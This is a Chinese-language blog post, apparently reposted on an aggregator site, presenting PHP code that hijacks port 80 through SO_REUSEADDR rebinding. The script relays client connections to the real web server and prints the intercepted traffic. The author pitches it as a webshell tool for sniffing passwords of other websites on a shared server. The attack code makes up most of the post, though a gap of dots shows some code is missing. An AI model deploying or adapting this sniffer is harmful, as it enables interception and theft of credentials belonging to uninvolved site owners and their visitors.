php嗅探链接,教你怎么利用php来嗅探劫持服务器数据
前幾天刺在我們的maillist發(fā)了一個老外寫的文章,大意是可以用php來實(shí)現(xiàn)數(shù)據(jù)的劫持和轉(zhuǎn)發(fā)。我瞄了一下,確實(shí)可行,于是今天抽出了以前用來扯淡的時(shí)間,寫了段代碼驗(yàn)證了一下想法。老外的原文是一個PDF,有興趣看的可以看看。地址是在:http://www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf。其實(shí)關(guān)于這個的原理,我記得很早很早之前flashsky就在xfocus上面貼過通過SO_REUSEADDR實(shí)現(xiàn)端口重復(fù)綁定的,mix還寫過一個 guest權(quán)限嗅探密碼的。我這里比較不同的是用php實(shí)現(xiàn)的,可以在webshell里面用,當(dāng)然我沒有測試過,我沒shell。
需要注意的是,這個東西和以前的《PHP下實(shí)現(xiàn)端口復(fù)用/劫持》是完全不一樣的,那個文章可以在這里找到:http://www.west999.com/info/html/wangluobiancheng/Phpbiancheng/20080224/22439.html。至于為什么不一樣,我就不說了。
代碼我注釋得很詳細(xì),個人覺得寫得還不錯,不細(xì)說。這里大概說一下技術(shù)上的難點(diǎn)。首先是在web里面,沒有多線程也沒有多進(jìn)程,但是每一個新連接進(jìn)來就要去處理,應(yīng)該怎么做?顯然不能順序執(zhí)行,因?yàn)楣鈇ccept那里就會被阻塞住的,而且后面每一個session也需要分別處理的。還好查手冊發(fā)現(xiàn)經(jīng)典的socket_select函數(shù)可用,有這個就好說了,專業(yè)實(shí)現(xiàn)多路復(fù)用的。
PHP代碼如下,有詳細(xì)注釋。blog貼的,所以代碼可能會掉些東西,其他的支持我就不提供了,看代碼:
class select
{
var $sockets;
// 構(gòu)造函數(shù)
function select($sockets)
{
$this->sockets = array();
foreach($sockets as $socket)
{
$this->add($socket);
}
}
function add($add_socket)
{
//array_push($this->sockets, $add_socket);
$this->sockets[] = $add_socket;
}
// 利用臨時(shí)數(shù)組來刪除數(shù)組中的元素
function remove($remove_socket)
{
$tmp_sockets = array();
foreach($this->sockets as $socket)
{
if($remove_socket != $socket)
{
$tmp_sockets[] = $socket;
}
}
$this->sockets = $tmp_sockets;
}
// 檢查socket數(shù)組是否可讀,傳入超時(shí)時(shí)間,返回socket數(shù)組
function can_read($timeout)
{
$read = $this->sockets;
socket_select( $read, $write = NULL, $except = NULL, $timeout );
return $read;
}
// 檢查socket數(shù)組是否可寫,傳入超時(shí)時(shí)間,返回socket數(shù)組
function can_write($timeout)
{
$write = $this->sockets;
socket_select( $read = NULL, $write, $except = NULL, $timeout );
return $write;
}
}
// 網(wǎng)頁不超時(shí)
set_time_limit(0);
// 即時(shí)輸出數(shù)據(jù),不緩沖
ob_end_clean();
ob_implicit_flush(true);
if( !isset($_GET["listen_ip"]) )
{
exit;
}
if( $_GET["listen_ip"] == "" )
{
exit;
}
$listen_ip = $_GET["listen_ip"];
$listen_port = 80;
// 建立socket
$listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
// 設(shè)置重復(fù)綁定
socket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);
// 明確指定綁定IP地址,優(yōu)先獲取數(shù)據(jù)
socket_bind($listen_sock, $listen_ip, $listen_port);
// 開始監(jiān)聽
socket_listen ($listen_sock);
echo "listen on ".htmlentities($listen_ip)." :".$listen_port."
";
// 創(chuàng)建socket數(shù)組,使用select來輪詢
$check_socks = array($listen_sock);
// 映射客戶端socket和服務(wù)端socket
// $socket_maps1將客戶端socket作為key
// $socket_maps2將服務(wù)端socket作為key
// 以內(nèi)存換速度,并且方便下面的搜索
$socket_maps1 = array( );
$socket_maps2 = array( );
....................................................................
while(true)
{
/*
print_r( $socket_maps );
print "
";
*/
// select輪詢,超時(shí)2秒
foreach ($select->can_read(1) as $socket)
{
// listen_sock可讀,說明有人連接上來了
if( $socket == $listen_sock )
{
// 接受新連接,并加入到輪訓(xùn)數(shù)組
$new_client = socket_accept($listen_sock);
$select->add($new_client);
socket_getpeername($new_client, $ip, $port);
echo "New client connected: $ip, $port
";
// 建立到真實(shí)服務(wù)器的socket
$server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($server_sock,"127.0.0.1", $listen_port);
// 建立真實(shí)服務(wù)器socket和真實(shí)客戶端socket之間的映射關(guān)系
$socket_maps1[$new_client] = $server_sock;
$socket_maps2[$server_sock] = $new_client;
// 添加到select輪詢中
$select->add($server_sock);
// $listen_sock的可讀數(shù)據(jù)是因?yàn)橛行逻B接,已經(jīng)處理了。暫時(shí)去掉,因?yàn)橄旅骈_始處理數(shù)據(jù)轉(zhuǎn)發(fā)
//select->remove( $listen_sock );
}
// 其他socket可讀,表示有數(shù)據(jù)需要中轉(zhuǎn)
else
{
// 讀取數(shù)據(jù),失敗則從輪詢socket中刪除,并關(guān)閉socket
$client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);
if ($client_data === false)
{
socket_close( $socket );
$select->remove( $socket );
echo "client disconnected.
";
continue;
}
// 如果socket在$socket_maps1的key中,說明是從客戶端讀到了數(shù)據(jù)
if( in_array( $socket, array_keys($socket_maps1)) )
{
//echo "readed from client.
";
if( ! socket_write( $socket_maps1[$socket], $client_data ) )
{
socket_close( $socket );
socket_close( $socket_maps1[$socket] );
$select->remove( $socket );
$select->remove( $socket_maps1[$socket] );
print "Write to server error.
";
}
print htmlentities($client_data)."
";
}
// 否則如果socket在$socket_maps2的key中,說明是從真正的web服務(wù)器讀到了數(shù)據(jù)
elseif( in_array( $socket, array_keys($socket_maps2) ) )
{
//echo "readed from server.
";
if( ! socket_write( $socket_maps2[$socket], $client_data ) )
{
socket_close( $socket );
socket_close( $socket_maps2[$socket] );
$select->remove( $socket );
$select->remove( $socket_maps2[$socket] );
print "Write to client error.
";
}
print htmlentities($client_data)."
";
}
}
}
}
?>
這個東西有什么作用?自由發(fā)揮。也許你有一個webshell,但是卻想知道同一個服務(wù)器上面別人網(wǎng)站的密碼……我是在windows xp+apache測試的,據(jù)我所知windows2003默認(rèn)已經(jīng)不準(zhǔn)重復(fù)綁定端口了。
詳細(xì)頁面:http://www.verydemo.com/demo_c116_i115729.html
總結(jié)
以上是生活随笔為你收集整理的php嗅探链接,教你怎么利用php来嗅探劫持服务器数据的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 用Hexo制作自己的静态博客
- 下一篇: JAVA continue 用法